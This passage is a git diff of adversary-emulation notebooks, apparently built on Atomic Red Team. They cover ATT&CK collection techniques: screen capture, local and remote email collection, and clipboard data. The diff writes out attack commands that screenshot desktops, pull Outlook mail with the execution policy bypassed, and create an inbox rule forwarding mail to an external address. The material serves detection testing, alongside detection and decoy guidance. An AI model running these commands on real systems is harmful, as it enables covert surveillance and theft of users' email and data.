Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: ImageMagick must be installed\n\n##### Check Prereq Commands:\n```bash\nif import -help > /dev/null 2>&1; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt install graphicsmagick-imagemagick-compat\n\n```" + "source": "### Atomic Test #4 - X Windows Capture (freebsd)\nUse xwd command to collect a full desktop screenshot and review file with xwud\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Package with XWD and XWUD must exist on device\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v xwd)\" ]; then exit 0; else exit 1; fi\nif [ -x \"$(command -v xwud)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\npkg install -y xwd xwud \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ce712b1b", + "id": "07a20810", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "17006fdf", + "id": "d0569319", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nxwd -root -out /tmp/T1113_desktop.xwd\nxwud -in /tmp/T1113_desktop.xwd\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4c9ac600", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1113 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "f1419f2d", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/T1113_desktop.xwd\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ecc852b3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1113 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "aba21330", + "metadata": {}, + "source": "### Atomic Test #5 - Capture Linux Desktop using Import Tool\nUse import command from ImageMagick to collect a full desktop screenshot\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: ImageMagick must be installed\n\n##### Check Prereq Commands:\n```bash\nif import -help > /dev/null 2>&1; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nsudo apt install graphicsmagick-imagemagick-compat\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9931c68c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1113 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a53dc5a8", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -151,31 +196,76 @@ { "cell_type": "code", "execution_count": null, - "id": "304759ea", + "id": "3c2bee72", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1113 -TestNumbers 4" + "source": "Invoke-AtomicTest T1113 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "5c640d57", + "id": "915387f7", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /tmp/T1113_desktop.png\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7148629d", + "id": "cee472da", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1113 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1113 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "883164cf", + "id": "f7c5478c", + "metadata": {}, + "source": "### Atomic Test #6 - Capture Linux Desktop using Import Tool (freebsd)\nUse import command from ImageMagick to collect a full desktop screenshot\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: ImageMagick must be installed\n\n##### Check Prereq Commands:\n```sh\nif import -help > /dev/null 2>&1; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\npkg install -y ImageMagick7\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "32f23668", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1113 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "17e4c9b1", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nimport -window root /tmp/T1113_desktop.png\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d95de5a8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1113 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "5d327718", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/T1113_desktop.png\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2053cd31", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1113 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b6e16349", "metadata": {}, "source": [ - "### Atomic Test #5 - Windows Screencapture", + "### Atomic Test #7 - Windows Screencapture", "Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -186,31 +276,31 @@ { "cell_type": "code", "execution_count": null, - "id": "1fdde2bb", + "id": "9865845a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1113 -TestNumbers 5" + "source": "Invoke-AtomicTest T1113 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "b4d8a6e5", + "id": "17f1f5c1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nrm c:\\temp\\T1113_desktop.zip -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ab200819", + "id": "67021589", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1113 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1113 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "7d75cfb4", + "id": "38bfced0", "metadata": {}, "source": [ - "### Atomic Test #6 - Windows Screen Capture (CopyFromScreen)", + "### Atomic Test #8 - Windows Screen Capture (CopyFromScreen)", "Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.\n\n[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -220,34 +310,34 @@ { "cell_type": "code", "execution_count": null, - "id": "13b8423e", + "id": "7a058191", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1113 -TestNumbers 6" + "source": "Invoke-AtomicTest T1113 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "74ad539a", + "id": "54720c82", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\T1113.png -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d6b21d76", + "id": "2853be07", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1113 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1113 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "9c11e2b2", + "id": "34f15465", "metadata": {}, "source": "## Detection\nMonitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment." }, { "cell_type": "markdown", - "id": "ad6cffb1", + "id": "9c998994", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can display decoy content on the screen which may be of interest to an adversary in an attempt to elicit further engagement.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -255,13 +345,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1114.001.ipynb b/playbook/tactics/collection/T1114.001.ipynb index 49dc40a5..077e75f7 100644 --- a/playbook/tactics/collection/T1114.001.ipynb +++ b/playbook/tactics/collection/T1114.001.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "af5adda7", + "id": "7b658b33", "metadata": {}, "source": "# T1114.001 - Local Email Collection\nAdversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)" }, { "cell_type": "markdown", - "id": "45f0f328", + "id": "b5292c8c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0e610d13", + "id": "38a9d4df", "metadata": {}, - "source": "### Atomic Test #1 - Email Collection with PowerShell Get-Inbox\nSearch through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.\nSuccessful execution will produce stdout message stating \"Please be patient, this may take some time...\". Upon completion, final output will be a mail.csv file.\n\nNote: Outlook is required, but no email account necessary to produce artifacts.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Get-Inbox.ps1 must be located at #{file_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1114.001\\src\\Get-Inbox.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114.001/src/Get-Inbox.ps1\" -OutFile \"PathToAtomicsFolder\\T1114.001\\src\\Get-Inbox.ps1\"\n\n```" + "source": "### Atomic Test #1 - Email Collection with PowerShell Get-Inbox\nSearch through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.\nSuccessful execution will produce stdout message stating \"Please be patient, this may take some time...\". Upon completion, final output will be a mail.csv file.\n\nNote: Outlook is required, but no email account necessary to produce artifacts.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Get-Inbox.ps1 must be located at #{file_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1114.001\\src\\Get-Inbox.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114.001/src/Get-Inbox.ps1\" -OutFile \"PathToAtomicsFolder\\T1114.001\\src\\Get-Inbox.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b1e81a25", + "id": "ae983a22", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1114.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "98fed022", + "id": "4b4eee99", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\npowershell -executionpolicy bypass -command PathToAtomicsFolder\\T1114.001\\src\\Get-Inbox.ps1 -file $env:TEMP\\mail.csv\n```" + "```powershell\npowershell -executionpolicy bypass -command \"PathToAtomicsFolder\\T1114.001\\src\\Get-Inbox.ps1\" -file $env:TEMP\\mail.csv\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "5dcfd94f", + "id": "58bb5c86", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1114.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f94d2ac3", + "id": "46b51359", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\mail.csv -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "80bb2cbf", + "id": "854894e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1114.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a443893c", + "id": "78ee34ac", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1114.002.ipynb b/playbook/tactics/collection/T1114.002.ipynb index c75e01ed..8739b455 100644 --- a/playbook/tactics/collection/T1114.002.ipynb +++ b/playbook/tactics/collection/T1114.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1bd0eacb", + "id": "a963831e", "metadata": {}, "source": "# T1114.002 - Remote Email Collection\nAdversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords." }, { "cell_type": "markdown", - "id": "2d19f9a2", + "id": "cb9f6e84", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "abf8ddf8", + "id": "abdf4645", "metadata": {}, "source": "## Detection\nMonitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account)." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1114.003.ipynb b/playbook/tactics/collection/T1114.003.ipynb index 3631a6ff..14622b73 100644 --- a/playbook/tactics/collection/T1114.003.ipynb +++ b/playbook/tactics/collection/T1114.003.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "611a570b", + "id": "19df5be6", "metadata": {}, - "source": "# T1114.003 - Email Forwarding Rule\nAdversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)" + "source": "# T1114.003 - Email Forwarding Rule\nAdversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. " }, { "cell_type": "markdown", - "id": "dc05bbc7", + "id": "7b2c9b8d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e2dc72ac", + "id": "7ca11d80", "metadata": {}, "source": "### Atomic Test #1 - Office365 - Email Forwarding\nCreates a new Inbox Rule to forward emails to an external user via the \"ForwardTo\" property of the New-InboxRule Powershell cmdlet.\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed. Your user must also have an Exchange license. \n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement \nImport-Module ExchangeOnlineManagement\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2b058053", + "id": "43d9316a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1114.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ee16e080", + "id": "0980a2bb", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"Atomic Red Team Email Rule\" -ForwardTo \"{#forwarding_email}\"\n```" + "```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"Atomic Red Team Email Rule\" -ForwardTo \"Atomic_Operator@fakeemail.aq\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4f4a47dd", + "id": "626f05d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1114.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "05f9695e", + "id": "dc91be47", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nGet-InboxRule | Where-Object { $_.Name -eq \"Atomic Red Team Email Rule\" | ForEach-Object { Remove-InboxRule -Identity $_.Identity -Force -Confirm:$False }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "97660738", + "id": "6cac5ddf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1114.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a657a4e4", + "id": "53b2506a", "metadata": {}, "source": "## Detection\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1114.ipynb b/playbook/tactics/collection/T1114.ipynb index 91b4f019..de0ec628 100644 --- a/playbook/tactics/collection/T1114.ipynb +++ b/playbook/tactics/collection/T1114.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "1d907c0b", + "id": "a8f279ac", "metadata": {}, "source": "# T1114 - Email Collection\nAdversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. " }, { "cell_type": "markdown", - "id": "f6bd3fae", + "id": "5975ce72", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "15751d6b", + "id": "7ee4e2be", "metadata": {}, "source": "## Detection\nThere are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level." }, { "cell_type": "markdown", - "id": "e43c61da", + "id": "c592aaac", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to influence an adversary to move toward systems you want them to engage with.\n#### Use Case\nA defender can plant decoy emails containing deceptive content and breadcrumbs to lure the attacker toward deception systems.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1115.ipynb b/playbook/tactics/collection/T1115.ipynb index 64ec31b9..7329c9af 100644 --- a/playbook/tactics/collection/T1115.ipynb +++ b/playbook/tactics/collection/T1115.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "20e72811", + "id": "39ba7f28", "metadata": {}, - "source": "# T1115 - Clipboard Data\nAdversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)" + "source": "# T1115 - Clipboard Data\nAdversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)" }, { "cell_type": "markdown", - "id": "a9b628d4", + "id": "59ee31a2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "70b94f6f", + "id": "d78e3e55", "metadata": {}, "source": [ "### Atomic Test #1 - Utilize Clipboard to store or execute commands from", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "aba43b40", + "id": "bda49308", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "44d91153", + "id": "073b0803", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\T1115.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4e53d715", + "id": "e44acb67", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "91a07ffe", + "id": "1f1dfd7c", "metadata": {}, "source": [ "### Atomic Test #2 - Execute Commands from Clipboard using PowerShell", @@ -61,14 +61,14 @@ { "cell_type": "code", "execution_count": null, - "id": "886cc6cc", + "id": "959bb594", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4913b6a7", + "id": "1a8e4f95", "metadata": {}, "source": [ "### Atomic Test #3 - Execute commands from clipboard", @@ -81,28 +81,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b6f82a72", + "id": "3119470e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9a6d052a", + "id": "5c158c9b", "metadata": {}, "source": "### Atomic Test #4 - Collect Clipboard Data via VBA\nThis module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\\atomic_T1115_clipboard_data.txt\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "09723a6e", + "id": "7e2fbed0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1a00b557", + "id": "ae0d8d1d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -112,28 +112,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4f6992aa", + "id": "8fc2e4eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "1610ddfc", + "id": "cd849af3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:TEMP\\atomic_T1115_clipboard_data.txt\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4dac8268", + "id": "965cdc68", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "fe38f27d", + "id": "e339720b", "metadata": {}, "source": [ "### Atomic Test #5 - Add or copy content to clipboard with xClip", @@ -146,20 +146,20 @@ { "cell_type": "code", 